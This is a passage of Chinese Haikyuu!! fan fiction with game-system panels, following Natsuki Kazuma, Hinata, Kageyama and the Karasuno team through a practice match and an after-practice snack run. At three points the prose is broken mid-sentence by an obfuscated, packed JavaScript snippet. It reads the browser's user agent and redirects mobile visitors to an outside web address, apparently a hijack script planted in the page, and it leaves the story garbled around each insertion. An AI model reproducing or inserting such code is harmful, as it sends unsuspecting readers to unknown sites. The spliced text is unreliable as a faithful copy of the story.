夏树和真眼睛亮了,但还没等他仔细查看这个新功能,门口传来的脚步声伴随着一道严厉的中年男人的声音,打断了他的思绪。 “你们在干什么?这么都围在了一块儿?”中年男声道。 “比完了就继续训练,花卷?松川?”年轻的男声继续后面说道。 “啊,完了。” “糟糕,监督和岩泉回来了!” “快快散开!” 场面乱得像是一锅粥,门口回来的监督和岩泉脸黑的如同锅底。 “嗯哼哼~诶,你们怎么都围在这里,哇大家都乱七八糟的呢哈哈。” 一个清亮的男声响起,是一个听上去就能让人刻板印象的帅哥声线。及川彻姗姗来迟,丝毫没有自己迟到的直觉,反而越过不知为何站在门口的岩泉,看向了混乱的体育馆,夸张地张开了嘴笑了两下。 “哈你个头。” 岩泉一毫不留情地揍向了及川彻,“还不是因为你迟到了。” “诶?好过分!小岩!这都能怪我吗?”及川彻痛呼道。 夏树和真就趁着这个绝佳的机会,悄悄跑走了。 毕竟,夏树和真还没有忘记自己最开始来到这里的目的! 侦查人员就如此悄无声息。 至于踢馆? 那不过是夏树侦查员调查中的一个小插曲罢了。 …… 宫城,乌野一年级教室。 日向翔阳有些神游天外,他看着旁边空空如也的位置有些担心。 这种担心一直持续到午休,中途的课间他还在自告奋勇地帮夏树和真拿了新教材,现如今书本整洁地摆在了课桌内,连他自己的课桌都没有摆的这么整齐。 日向翔阳叹了口气,他自己也不知道为什么会这么在意夏树和真。 昨天晚上翻来覆去都没有睡好,耳边盘旋着那一球落地响声。 “还是快点把便当吃完吧,待会还要去空地那边练练球才行!” 日向翔阳拍了拍自己的脸,正打算从书包里掏出便当准备速战速决的时候,耳边突然传来一道“刺啦”声。 同样姗姗来迟,上学两天一节课都没听到的夏树和真正扒拉着窗户。 微风从半开的窗缝里挤进来,伴随着樱花的花瓣,一起落进教室。米白色的窗帘被风轻轻托起又放下,轻柔的布料拂过日向翔阳的侧脸,他没有任何反应,而是愣愣地看着那个站在窗沿上的少年,正午的阳光在他肩头化为点点的光斑,那张好看的脸映着盛开的樱花,似乎要和春日融为一体。 一瞬间,日向翔阳疑心时间是不是停止了,不然为什么他无法动弹了呢? 咚、咚! 他能听见自己剧烈的心跳声,一如那天晚上看到那个身姿的时候。 可是又似乎有哪里不一样。 “哟!” 夏树和真抬手示意。 日向翔阳回过神,紧张地看向他的立足点道:“这、这里是二楼啊!夏树同学!” 他伸出手想要拉住夏树。 只是夏树和真直接轻飘飘地落地。 “啊,便当——” 夏树和真的视线落在了日向翔阳敞开了一半的书包上,露出轻快的表情。 “刚好肚子饿了,”夏树和真看向日向翔阳,说:“要一起吃便当吗?” 眼前好像下了一场暴风雨。 在那中心的正是早春的春雷。 日向翔阳的心脏跳得好难受。 全身的血液像是沸腾了一般,此刻胸腔里激荡着的莫名的兴奋感。 如同日向翔阳高高跃起时到达顶峰的感觉。 …… “哇,给我的吗?谢谢阿姨!我好开心。” 夏树和真美美吃完便当后,和日向翔阳路过了小卖部后莫名其妙被食堂的阿姨赠送了一个面包。 【传说中的梦幻炒面面包:在某个神秘的日子,食堂阿姨会售出一种梦幻的炒面面包,虽然在乌野高中广为流传,但是因为有很多人高中三年都没有见到过它,逐渐被认为是都市传说,和无人的音乐室里自动弹奏的钢琴一起并誉为乌野高中七大不可思议之一。据说吃过它的人,因为过于的美味连自己的舌头都差点一起吞了。总而言之,是有价无市有市无价的,当之无愧的,传说级别梦幻的炒面面包!】 【效果:体力+50】 因为过于夸张的加成,夏树和真睁大眼睛。 “啊,这个好像是传说中的梦幻炒面面包!我记得班级里的其他人好像提到过的!好厉害,我还是第一次见到!”日向翔阳惊讶道。 “哼哼,这就是天才的力量!”夏树和真手握传说中梦幻的炒面面包,振臂高挥,只是不知道是不是梦幻的炒面面包的光芒过于耀眼,其美味程度跨越物种统一了地球上所有生物的味蕾,一只在校外电线杆上虎视眈眈的乌鸦,展开翅膀,以迅雷不及掩耳之势,精准地抓住了那个发出神圣光芒的面包! “嘎嘎——笨蛋——笨蛋——” 似是耀武扬威一样,乌鸦停在了一颗树上,一边用眼睛斜斜瞥着瞬间石化的夏树和真,一边展开自己在阳光下流光溢彩的黑色羽毛。 【提示:传说中梦幻的炒面面包被坏心眼的鸦星人抢夺】 “……” 夏树和真再起不能。 “啊、好遗憾啊!夏树同学,没关系的!下次我们一起去买一定可以吃到梦幻的炒面面包的!” 日向翔阳手忙脚乱地安慰道。 “……和真。” “诶?” 夏树和真指了指日向翔阳,说:“翔阳。”然后又指了指自己。“和真。” “诶?啊……和、和真!” 叫着这个略显生疏的名字,日向翔阳有些磕磕绊绊地说。 “嗯。” 夏树和真回应道。 …… 此时夏树和真正坐在一旁吃着面包,看着日向翔阳练球。 至于为什么还是面包,这叫要问突然切换成好心眼的鸦星人的想法了。 在夏树和真和日向翔阳打算离开,照原定的后校舍的空地出发时,在树上也不吃面包反而是慢条斯理地打理羽毛的乌鸦,突然又一个俯冲,直接把梦幻的炒面面包啪叽一下丢到了夏树和真的脸上。 见到夏树和真撸起袖子,恨不得当场长出一对翅膀上天和这个坏心眼的乌鸦来一次真人PK,好让它知道如此坏心眼的下场! 只是这只阴晴不定的乌鸦在他的头顶上盘旋了几下后,施施然飞走了。 在某种程度上,脾气同样来的快去得快。于是夏树和真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533911|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这样坐在台阶上一边吃一边看着日向翔阳的动作。 伙伴协同的一栏上,目前只有一个的空位,被夏树和真干脆地填上了日向翔阳的名字。 【伙伴一号】 (注意:伙伴系统采用另一种评判标准,满值5) 【姓名:日向翔阳 年龄:16 身份:学生 状态:乌野高中排球部的预备部员 力量:1(力量还不是你的武器) 跳跃:5(跳跃是你的翅膀) 体力:5(体力能够支撑你对排球的不懈追求) 头脑:1(头脑不是你的强项,直觉才是) 技术:1(初学者水平,经验有所欠缺) 速度:5(赛场上,很少有人能够跟上你) 总体评价:是一个长处和短板都非常明显的小伙伴,潜力巨大,对排球无底洞的欲望以及本人率直坚定的心性,只要看到机会,就一定能够死死抓住,并不惜一切地迅速吸收成长。蜕变对他来说,只是时间问题。在和这位心性赤诚的小伙伴一起并肩作战中,你一定能够有所收获。】 【提示:伙伴协同技能选定对象后,结合预测(lv.2)将解锁神秘功能。】 夏树和真眯着眼睛看着系统面板上清晰直白的数据,又将视线转向正在努力垫球。冰蓝色的双眼有一道金色的流光一闪而过 “翔阳,打了多久的排球?” “从国中开始!” 日向翔阳双手抱住球,双眼亮晶晶的,他说:“我是偶然看到了小巨人的比赛才开始的!啊,小巨人就是以前乌野高中的王牌主攻手,虽然个子比其他人矮,但是小巨人跳起来的时候,比赛场上的所有人都要高!真的很帅气,然后我就……” “然后就加入了国中的排球部?” “……我的国中没有男子排球部,不过训练的时候女子排球部的队长可以让我在一起,放学的时候也可以找没事的朋友帮忙托球,周末的时候,我就去找社区的排球队!虽然国中三年还是没能组建男子排球部,不过最后毕业那一年,我和朋友报名了第一次的正式比赛……哈哈虽然第一场比赛就输了,当时碰上的就是影山在的队伍,本来想着高中一雪前耻的,没想到影山竟然也来了乌野!” 日向翔阳讲述的时候,脸上没有任何阴霾。 因为没有队友,所以国中三年一直都是自己一个人默默地练习。 “一个人的话,会很寂寞。”夏树和真说。 结合他几次的相处中我行我素的样子和神奇的脑回路,日向翔阳有些意外。 夏树和真将吃完的塑料包装捏在手里,双手顶在膝盖上,将脸贴着手臂继续道:“如果是我,一定没有办法坚持。” 说完后二人之间陷入了沉默。 就在日向翔阳不知该说些什么的时候,夏树和真话锋一转,站了起来,啪地拍了下手,说:“翔阳,用尽全力跳起来试试!” 【预测(lv.2)开启】 【效果说明:赛场上解锁动作意图分析。绑定伙伴协同时,解锁动作建议。】 虽然不知道夏树和真为什么突兀地说起了跳跃,但是日向翔阳还是照做了。 平时看不出来那俱身躯里蕴含的庞大的力量,日向翔阳从助跑到跳跃,不过短短几个瞬息,跨越了所有阻碍,向着天空张开了翅膀。 那双冰蓝色的双眼里,无数的数据流涌过,日向翔阳的动作以一个慢动作的形式,身体各处肌肉的发力位置和利用率,手臂摆动的幅度,双腿的爆发力,以及身体每一个细微动作的角度。最重要的是和潜力挂钩的身体极限值。 “翔阳,这不是你的极限。” 夏树和真看着落地的日向翔阳如此断言道。 12. 第十二章 乌野高中,排球体育馆。 月岛萤收拾好东西换好运动服,和山口忠两人一前一后走着。 “阿月,今天就是比赛,稍微有点紧张了。”山口忠摸了摸脸,开口道。 “有什么好紧张的?”月岛萤摆出一副不屑的样子,摆了摆手道:“那边自顾自热血起来,对于我们这边来说只不过是一个练习赛都谈不上的小比赛而已,无论输赢都无所谓吧。” 月岛萤说着,有些不耐烦,又或者是提不起劲来,即便是毒舌也兴致缺缺的样子,他一手摸着后颈,随意地看向前方。 正好差不多要到体育馆门口。 “啊哈哈,要不是他们把校长的假发打飞了,也没有今天这个比赛了。”山口说。 月岛随口应答着,下意识地恶口嘲弄又出现。 “小矮子和国王大人的组合,真是太让人期待了——”他故意提高音量,拉长着声音道。 就这样打开了运动馆大门。 但是出现在月岛萤眼前的是,在耀眼灯光下,高高跃起的日向翔阳的身姿。 周身弥漫的气势,姿势的改变,使力点的变化,就让这个原本不被他放在眼里的小矮子焕然一新,整个人都不一样了。 月岛打开门的手指无意识地攥紧。 落后一步的山口踮起脚尖,一边问道:“发生了什么,怎么突然堵在门口了,阿月?” “哦——不错嘛翔阳,就是这样就是这样!” 夏树和真懒散地蹲坐在一旁,身上换上了新的运动服。明明是很随意甚至可以说得上是粗俗的姿势,可是这人顶着这张脸给人一种别样的感觉。 山口哇了一声。 夏树和真旁边站着背着手满脸笑容的菅原孝支,他一边低下头时不时看向夏树,一边欣慰地看着刚刚跳完极为兴奋的小橘子。 几乎是集全体育馆的视线于一身,但夏树和真依然跟个没事人一样,还是那副清清爽爽的姿态,他的视线集中在日向翔阳的身上。 “好,再来一遍——” 夏树和真数着拍子。 “一” 日向翔阳走步 “二” 屈膝,准备跳跃。 “三” 咚。 很扎实地用力踏在木质地板上的,同时响彻在全体体育馆的围观人们的声音,很难去形容这究竟是一种什么样的感觉,只是那高高跃起的姿态,腾空的身躯,向后扬起的手臂,仿佛让人看见了乌鸦的翅膀。 不过因为大多数人已经看过了不止一次,所以表情还能控制,但是原本应该在训练的体育馆的中心,不知不觉完全空了出来,只剩下日向翔阳活动的一块区域。有人或是站着,或是抱着球贴着墙壁蹲下,或者是干脆地坐下来,视线都基本停留在那两个人身上。 不过视线中心的主角,一个浑然不在意,一个是因为过于兴奋,完全没有注意到。 夏树和真旁若无人地鼓掌,看着毛茸茸的橘子小狗激动地凑过来,直接大力摸头,嘴上还说着:“嗯嗯,不愧是翔阳,做得很好,是乖孩子呢。” 总觉得,像是对待小狗一般的待遇。 此时体育馆内的人共同的心声。 夏树和真和日向翔阳咬耳朵,不知道那张清爽的淡淡的脸的主人究竟嘱咐了什么,总而言之这只橘子小狗一蹦一跳地开始跑去热身。 “那是……谁?” 月岛脸色有点臭,不过因为此人一年四季基本都是这种类型的表情,所以并没有人觉得有什么不对。 山口在一旁盯着夏树和真的侧脸,小声说道:“那应该是一年一班的夏树和真吧,阿月,就是这几天午休在班里的女生中引起热议的那个夏树——” 其实不止是女生,近几天在月岛周围的不管男女都吵得要死。 而其中出现最高频率的名字,就算不想听也被迫传入月岛的耳中。 最著名的就是,那张脸。 月岛萤想起了班上那群家伙的谈话。 “喂喂,你听说了吗?一班转来一个长得特别好看的,据说只要看到那张脸,嘴巴就会涌现某个神秘的词语。” “有这么夸张吗?” “真的,我今天在走廊上和他擦肩而过,打从第一眼看见,我就知道他就是那个转校生!” “转校生转校生的,人家只是前几天没来而已,这么喜欢他连这个都没有事先调查清楚吗?还有他有名字的,叫夏树和真。” “哎哟,难得你这种冷淡的家伙对别人有兴趣。这么一说,搞得我都有点好奇了。” “好奇就去看看呗,刚好快要午休了,趁着去小卖部路过一班,稍微偷看一下。” “哪有你们说得这么容易,现在连看都要赶着排队了,几乎每节课间都有人挤破脑袋去守着,但别说面了,连个人影都没看见。” “神秘,我喜欢。我不正式宣布,夏树同学的脸就是我们乌野的第八大不可思议!” “你可滚蛋吧!” “哈。” 想到自己竟然真的听进去了这么无聊的话,月岛略带嘲弄地扯了扯嘴角。 他看着菅原孝支弯着腰,低下头凑到夏树和真前,不知道讲到了什么,夏树和真被逗得笑了半天。 菅原孝支这个前辈,大概就是对谁都很温和的类型,但是这种温柔在夏树和真的身上似乎稍许有些不同。 月岛萤没来由感到烦躁。 影山飞雄从一旁冒了出来,手上拿了个排球,额前出了微微的薄汗。 他用运动服的领子擦了擦汗,就跑到夏树和真一边,还是那张不笑就看起来凶巴巴的脸,他双手抱着排球,低声朝夏树和真了什么后,蹲下在包里拿出了一副护膝和一双还没拆封的护腕。 夏树和真接了过去,手腕上和膝盖上各自戴了一只,被拆出来的孤零零的两只被他理所当然地收入囊中。 【装备】 【国王大人的护腕(单只)】 【描述:来自二传手影山君的特别推荐,在排球上的任何事都经过了极其慎重的思考,而在如今激烈的运动用品市场的激烈角逐中,影山同学选择了这个品牌的护腕!无论是触感,还是重量,既能很好地起到保护作用,也能最大限度下保证手腕的灵活。只是,对于依赖天生球感的影山同学来说,这个护腕还是无法满足他的要求!但是,这依然是一个绝大多数人用过都会夸奖的高质量护腕!——来自慎重的影山同学的坚定推荐。】 【效果:技术+1】 【国王大人的护膝(单只)】 【描述:在同样激烈的角逐下,影山同学结合了自己的亲身体验下,最终选择了这个品牌的护膝!尽管时代如何变化,市场如何推出各式各样的护膝,但是影山同学依然是它坚定的拥护者!毫无疑问的优秀,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏树和真的想法还没有实施,就再次受到了打击。 “怎么这样……!” 夏树和真严重抗议。 说好的游戏高自由度呢?这是欺诈! 【说明:这是合理的机制】 月岛啧了一声。 菅原孝支瞥见了二人,朝他们找了招手,说道:“你们两个,快去热身吧,待会就要开始比赛了。” 总觉得事情变得麻烦了。 月岛萤想。 而体育馆的大门不知道什么时候围起了一帮明显不是排球社团的人,其中大多是女生,但是也不乏男生,原本没什么观众的看台也早就挤满了人。 “哇哇,这人气不愧是……” “山口,你很从容嘛。” “啊,抱歉啦,阿月。” 月岛找了一片还算空闲的角落,放下包,一边给自己的手指缠上绷带,脸上明显有些不耐烦。尽管懒得理会,但余光依然能看见人们视线的中心的那个人。 影山飞雄站在一旁,夏树则在旁边蹦蹦跳跳地热身。 二人在网前站好。 整个体育馆霎时一片安静。 月岛萤手上的动作一顿。 那双眼睛,似乎不一样了。 如同紧盯着猎物的那双冰蓝色眼睛。 13. 第十三章 比赛正式开始。 一年级三人对上月岛、山口和大地。 和那天夜晚菅原孝支所看到的一般,这次却是展现在众人的眼前。 高高跃起的那个姿态,毫无挑剔,就像是经过千锤百炼铸就的钢铁,没有人看到了不为之动容的,最直击人心的……! 跳发! 要知道,宫城县内最有名的跳发还是当属王者白鸟泽当之无愧的王牌,沉重有力的一击,不知击败了多少个球员。 或许比之牛岛,球的力度给人的感觉没有到恐怖的力度,但是那份刁钻,在速度和力量的加持下,已经成为了极其可怕的武器。 影山飞雄边观察着球的落点。 虽然眼睛看不见,但是脑中似乎能自动浮现出夏树和真那个有力的近乎完美的姿势。 没有一丝紊乱,哪怕是在连续击球之后,依然是稳定的,就像是程序设定好的机器人一般不偏不倚,而且每一球都击向了不同的位置。 毫无疑问地刚好压线。 这种精准的控球,影山只在自己的那位前辈上见过,至今为止他还没有在同龄人身上看到这种压倒性的气势。 影山飞雄的心热了起来,接着第一个涌起的是战意。 他会超过他,超过所有人。 在排球上,他有不会输给任何人的自信。 哪怕是那位前辈也一样。 …… 影山飞雄站在发球线后,掌心向下,将球拍向地板,发出沉闷的声响。 他的目光越过球网,落在对面那三个人身上,然后不着痕迹地侧过脸,余光瞥见的是夏树和真背影,发尾用红绳成了一个小辫子,像是一条毛茸茸的尾巴,正随着主人的动作而微微摆动, 影山收回视线,将球高高抛起。 和之前夏树和真精准压线的跳发不同。如果说夏树和真的跳发是精准有余而力量稍显不足,那影山的就是一记毫不留情的重炮,是以肉眼可见的力量和威慑力。 球带着势不可挡的气势,朝着对面场地的边角线砸去。泽村大地及时将球接起,但求的路线早已然偏离理想的轨道,高高地飞向了球网附近。 “我来。” 月岛的声音不大,只见他轻松地起跳,在同龄人之中鹤立鸡群的身高在这一刻充分体现了它的优势,随便一跳就是到达了网前,他的眼神扫过对面场地的站位。 夏树和真在左,影山在后中,日向在前右。 而夹在前排之间的缝隙,日向翔阳的手边……! 他的手腕一抖,正想将球往那个方向扣下。 然而就在他挥臂的那一刻,他的眼前晃过了一丝略显熟悉的蓝。 ——是夏树和真 那双讨人厌的冰蓝色眼睛没有看球,而是直勾勾地盯着他。有一瞬间,月岛萤产生了一种全部都被他看穿了的感觉。像是暑意的粘人顺着潮湿的空气,一点点攀附在他的肩膀、手臂,甚至是他转动的手腕上。 这种直白的,毫无遮拦的视线,月岛萤感到一阵心烦。。 夏树和真动了。 他没有后退去找球的落点,反而向前跨了一步,直接站在了球网前。 月岛的瞳孔微微收缩。 一人拦网……! 因为夏树三人配置起来短短开局就展现出来的攻击性,让人一度有些忽视了他们拦网的可能。 夏树和真在月岛扣球的同一瞬间起跳了,双臂向前伸直,手掌完全张开,如同盘子一样。 他的手指几乎是在球飞来的最高点触碰到了。 夏树没有完全拦死。球被他的指尖一蹭,向上弹起,高高地飞向了影山飞雄的方向。 月岛落地时咬住了牙。 这并不是运气不好! 他刚才明明就可以直接拦死的,为什么没有这么做?! 夏树和真的拦网与其说是完全死守,不给敌人一丝缝隙的铜墙铁壁,那样游刃有余的姿态更倾向于一种截流。水流无法斩断,而是会从切口处再源源不断地焕发新生。 排球的比赛,有时候也需要一口气。 而能在这种节奏快速的比赛进程中,依然保持冷静的头脑,准确捕捉到这一口气的需要。 “那孩子,为什么之前在宫城县内会籍籍无名?” 菅原孝支若有所思。 “掩护!” 泽村大地喊道。 影山飞雄不知何时已经移动到位。球从夏树和真的指尖弹起后,重新回到了上方。但是比起之前蕴含着的迅猛的力量和速度不同,排球悠扬地,像是漂浮一般飞在了空中。 而那颗悠哉的排球的最终落点,不偏不倚,正好是影山飞雄的所在地。他不需要再去额外的调整,只是在下个呼吸的瞬息,稳稳地将球托向了另一边。 敏锐的捕捉到了影山飞雄的动向,他的脑海中浮现了前一秒场上的位置,而在影山飞雄传球的方向分明是空无一人的! 这样想着,月岛萤视线投向的下一个瞬间,那片场上的空白瞬间就一抹亮色所填满。 那里,日向翔阳已经高高地跳了起来。 没有人注意到日向是什么时候开始助跑的。那个橘色头发的少年从夏树和真起跳的那一刻就开始了助跑。 有人说,助跑才是跳跃的翅膀。 充分的助跑像是一阵及时的东风,会将人托得更高。 而日向翔阳此时就乘上了这阵适宜的风。 他的速度让在场所有人都慢了一拍才反应过来。 熟悉的有节奏的助跑,然后是被教导的如何才能够最大限度发挥力量的起跳。 咚! 用力压在地板上的,踏实的声音,同时彰显出令人牙酸的惊人的弹跳。 来不及了。 在场的所有人几乎是清一色的这样想。 球精准地落在了日向扬起的手心下。 到达顶点的的景色。 眼前的视野像是突然被照亮一般,清晰。似乎场下的每一个人的神情都能一一看清楚。时间是过得如此缓慢。 日向翔阳用尽全力,挥下了那一记扣杀。 “砰!” 球以一条近乎垂直的线路,砸在了对方场地左侧的空档处,弹起的瞬间,泽村大地感受到了脸颊上掠过去的风,尖锐的,几乎让他怀疑自己的脸上是不是被划出了一道血痕。 得分。 体育馆里彻底死寂。 月岛三人缓缓看向对面。 三个人不自觉地围在了一起。日向翔阳朝着两人作出击掌的动作,夏树和真直接举起手,两人击掌又欢呼,随之看向无动于衷的影山飞雄。二人对视一眼,直接一人拉过一只手。 “耶!” “耶!!” 影山飞雄被二人架在中间,被迫一起“欢呼”。 “……得分。” …… 比赛结束的时候,已经接近黄昏。 赛后迅速燃尽的夏树和真开始从包里拿出先前的战利品,一口吞饼干,以像是下一秒就要饿死的气势吞吃,差点把在一旁的人给吓死。 体育馆内结束了一天训练的众人神情都很放松,半关着大门自从在蜂拥而至的观众离去后,就有些合不上了。就在这时,大门被啪地一声打开。 “大家!我有一个好消息!” 是顾问的武田老师,武田老师喘着气,一只手扶正了因为奔跑而歪斜的圆框眼镜,身体的热气让镜片变得有些模糊,但他顾不上擦去此时显得无关紧要的雾气,而是激动地和大家宣布:“我们确定下了练习赛!” 一时之间场内沸腾。 “老师,是哪所学校啊?”泽村大地问。 “啊抱歉,我太激动了!是县内四强的青叶城西!” “哦哦哦!是那个青城!” “武田老师,你太厉害了吧!竟然能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533913|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定青城作为练习比赛的对象!” 武田一铁害羞地摸了摸后脑勺,面对着众学生期待的目光,他抿了抿嘴,下意识地看了一眼菅原孝支。 “嗯?怎么了吗?武田老师。” 菅原孝支注意到了武田一铁的视线,笑着问道。 “啊……” 武田一时之间不知道该怎么传达接下来的话语,他卡了卡壳,却还是艰难地说道:“青城答应这次的训练赛有一个要求,需要……影山同学担任二传手。” 在霎时安静下来的人群中,没有人察觉到影山飞雄的一丝停顿以及菅原孝支嘴角弧度微不可察的滞涩……除了。 盘腿坐在一旁还在胡吃海喝的夏树和真眯起了眼睛。 “青城?” 夏树和真总觉得这个名字有些耳熟,但一时之间完全没有把昨天自己弄得鸡飞狗跳的学校和现在大家口中的青城联系在一起。 在某种意义上,夏树和真是一个十分钝感的人,就像此时尽管馆内氛围异常沉重,他只是歪了歪脑袋,默默注视着此时众人隐晦的视线中心的二人。 他看着菅原孝支转瞬即逝的失落之后,很快再次展开笑容,主动缓和了现场气氛,用着开朗轻快的声线和众人说着自己对大家比赛的期待。这就是主动退后了一步。 而对此的影山,皱着眉直接开口道:“菅原前辈,下次我会用实力赢得二传手的位置。” 大概一般的后辈面对这种场景的时候,都会说些什么自己会努力不愧对这个位置之类的,虽然看上去是好好前辈和后辈的戏码,但是,夏树不喜欢。 菅原孝支和影山飞雄也不会喜欢。 他们是前后辈,是同一个位置的二传手,是同一个队伍的队友。 但,与此同时,他们都是体育竞技里的一员。 打排球的时间,大多让夏树和真感到一种近乎幸福的快乐,但是这并不代表着它永远都是轻快的。 就如同此时此刻环绕在心脏之中某些熟悉沉重的东西,压得他有些喘不上气来,但好在夏树和真向来不去为难自己,他看着一旁等候多时的经理拿出了订好的运动衫。 “抱歉,夏树同学。这些衣服是之前就订好的,所以现在只有四个人的。”清水洁子有些抱歉道。 夏树和真闻言,跪倒在地。 “这次登记好后,会加急做的,不要这么难过啦,和真。”菅原孝支蹲下身,戳了戳夏树和真的脑袋。 “唔唔……”夏树和真发出一些意味不明的音节。 “那我的……” 日向翔阳举起手中新出炉的队服。 “你的尺寸,他怎么可能穿得上。”月岛萤说。 被过于沉重的话语击中,乌野高中体育馆的地板上有多了一个人。 影山飞雄没有说话,默默穿上试完尺寸后直接递给了夏树和真。 “拿着。” 影山飞雄和夏树和真的身高差不多,夏树稍微高一些,两人体型上相差不大。 几乎是在衣服递过来的刹那,影山只感觉手上一凉,再一晃眼,眼前这人就已经换上了黑色的乌野排球部的队服。 “好看吗?” 明明是一样的制服,甚至有时候因为它的全黑设计,走在路上被误认为是抢劫的经历也不是没有发生过。但是现在夏树和真穿上,就像是换了一个样子,整个人站在那里像杂志里走出来的一样。 所有人仿佛被这张脸给暴击了。 “特别帅气!” “帅到犯规了吧!上帝啊,造物主啊,你们心眼也太偏了吧?!” “可恶的池面!” “一样颜色的队服有了,请问这张脸在哪里领?” “哟,和真,乌野高中排球部的招牌人物!”菅原孝支笑着调侃。 只有月岛萤面无表情地看了一秒,然后用力地别过脸去。 “……蠢死了,回去了。” 14. 第十四章 当然,不情不愿的月岛萤还是被拉了过来。 乌野排球部的众人浩浩荡荡地拐进了路上的一家便利店,老板是一个染着金发的青年,正翘着二郎腿看着报纸,见他们进来也只不过是斜着眼睛瞥了一眼,叮嘱一声后又看回报纸。 进了店门,暖色调的灯光笼罩下,耳边传来关东煮咕咚咕咚的冒气声,食物的暖香混着蒸腾的水汽融化在傍晚微凉的风里。大家在这种气氛里逐渐放松下来,各自散开在货架上挑选喜欢的商品。 菅原孝支一下子好几个肉包,付好钱后,转身分出了一个递到了夏树和真面前。 “这家的肉包特别好吃,和真要吗?今天前辈请客哦~” 菅原孝支眨了眨眼睛,手上的肉包还散发着热气。 【物品:菅原前辈特别好评之热腾腾的肉包】 【描述:这个世界上还有什么是比训练后伴着微凉的夜风,吃上一个热腾腾的肉包更幸福?如果有,那就是再来一个!——来自菅原孝前辈的倾情推荐!如今绝赞好评中!】 【效果:精力+25】 夏树和真的眼睛亮了一下。他接过来的时候是两只手捧着的,然后低头咬了一大口,等到第二口就已经去了半个。 菅原看着他的吃相,忍不住笑出声:“慢点吃啦,和真,不够的话我这里还有哦。本来我还想说你下午吃了很多零食,不饿的话就换成雪糕也行。看来是我多虑了。” 夏树嘴里塞得满满的,含混不清地“嗯”了一声,腮帮子鼓得像一只储存食物仓鼠。他三两下就给吃完了,无论吃什么都快到到离谱,像是生怕吃完上顿没下顿。 菅原孝支忍了一下还是没忍住,笑盈盈地揉着夏树毛茸茸的脑袋,发尾扎着的小辫子的红色发绳晃动一下,隐隐有要松动的迹象。 “发绳,好像要掉了呢,和真。”菅原孝支提醒道。 “是吗?难怪感觉有些奇怪。” 夏树和真摇了摇脑袋。 “诶。” 眼见到那根发绳散开的瞬间,菅原孝支眼疾手快地抓在了手心里。 “啊。” 夏树和真变成了炸毛小狗。 “等我一下。” 菅原孝支另一只手上还拿着东西,他先是跑到在冰箱前面的泽村大地,然后一股脑地将手上大量的肉包交给了大地,只留下了另一个被单分出来的袋子,一只手勾着袋子,一边朝大地说道:“拜托啦,大地。帮我给大家分一下!” 泽村大地还没有说话,就看见菅原孝支回到了柜台,对着站在一旁的夏树和真又塞了一个肉包后,搭着肩膀,二人走出便利店。 “……真是的,说好我请客的。不过这家伙,还真是宠溺后辈啊。”泽村大地无奈道。 菅原孝支倚坐在马路的围栏上,夏树和真就挨在他旁边,两个人肩并肩,在便利店外的夜色里夏树和真又开始吃了第二轮。也不知道是车祸的影响,还是说夏树和真以前就特别能吃,自从出院后,夏树和真对于吃的欲望上了不止一个台阶,递到眼前的食物几乎零拒绝,虽然不挑食是一个好事,但是这样毫无节制地吃,体型却几乎没有任何变化反而会让人怀疑吃进去的东西到底去到哪里的程度。 菅原拍了拍夏树的肩膀,示意他背过身去。手指轻轻抚在上面,法治比他想象的要软得多,而且富有光泽,一看就是营养很好的样子。如果被其他人看到,大概会说什么“池面的头发也是池面吗?可恶”之类好笑的话。不过看着夏树和真平常如此能吃的样子,所以菅原孝支也并不奇怪。 菅原孝支的手很巧,哪怕是第一次帮人绑头发,甚至这个人是自己的后辈。他也做到了又快又完美。不过比起夏树和真顺手扎的低马尾,菅原孝支给他扎了一个漂亮的高马尾,这样的高度,运动后出汗也不会黏在后颈上,可以说是非常贴心了。 “哇。” 夏树和真抽空用另一只手虚虚摸了一下,笑着夸奖道:“不愧是菅原前辈,非常完美!谢谢前辈!” 夏树和真,虽然就目前来说,哪怕对方只是初对面,也能一脸自然地直呼其名,拉近距离的速度比吃饭还快,但是看来,对待前辈意外地会有些后辈的自觉。 “原来是前辈的话,会好好加上后缀呀——” “嗯?”夏树和真疑惑。 “没什么,稍微有些坏心眼了——没错没错,是菅原前辈哦!”菅原孝支笑得一脸狡黠,配上那颗眼下的泪痣,颇有几分狐狸气质。 便利店透出来的灯光落在他们身上,把两个人的影子拉得很长很长。大地朝着几人招呼着,将肉包一一分发。 日向和影山道谢后,大口大口吃着,吃太猛后被噎得捶胸顿足,一旁的田中龙之介赶忙拍了拍二人的背,大地拿了两瓶水拧开后递给了他们,说:“水!快点喝水!” “啊……还以为要死了。” “活过来了。” 两人大口喝着水,总算咽了下去,一副得救的样子。 “哼。” 月岛萤没眼看,移开了视线。他靠在便利店门口的墙上,手上是被大地前辈塞过来的肉包,慢条斯理地吃着。山口忠站在他旁边,手里拿着一盒牛奶喝,时不时偷瞄一眼门口围栏上那两个人的身影。 另一边。 夏树和真的手机响了。 他从口袋里摸出来,屏幕亮起来的那一瞬间,菅原孝支的余光瞥见了那个超长一串的备注。 “是女朋友?” 菅原孝支开玩笑道。 “是幼驯染。” “那前辈就不打扰了。” 